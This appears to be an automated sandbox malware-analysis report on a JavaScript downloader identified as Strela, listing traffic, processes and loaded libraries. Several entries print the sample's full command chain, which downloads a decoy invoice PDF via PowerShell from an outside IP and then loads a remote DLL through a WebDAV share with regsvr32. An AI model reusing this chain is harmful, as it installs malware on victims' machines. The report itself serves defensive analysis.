a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:56711 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1262427770.0000026EF4B5D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1263550067.0000026EF6922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1328366646.0000017569188000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1328366646.00000175691BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1311009382.00000175691DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1328736477.00000175691DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 0000000E.00000002.2549986320.000001FC7F200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1319412989.000001FC7EFD0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3416, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3244127882174020209.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4052:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcpxqvd0.5pe.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3244127882174020209.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1760,i,15597962635925124869,13760703389510911259,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1760,i,15597962635925124869,13760703389510911259,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
